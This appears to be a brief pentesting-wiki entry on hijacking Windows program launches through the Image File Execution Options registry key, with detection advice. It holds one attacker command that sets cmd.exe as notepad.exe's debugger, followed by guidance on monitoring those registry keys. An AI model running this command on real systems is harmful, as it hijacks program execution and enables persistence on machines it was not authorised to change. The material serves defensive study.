Execution

Modifying registry to set cmd.exe as notepad.exe debugger, so that when notepad.exe is executed, it will actually start cmd.exe:

attacker@victim
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "cmd.exe"

Launching a notepad on the victim system:

Same from the cmd shell:

Observations

Monitoring command line arguments and events modifying registry keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable> and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable> should be helpful in detecting this attack:

References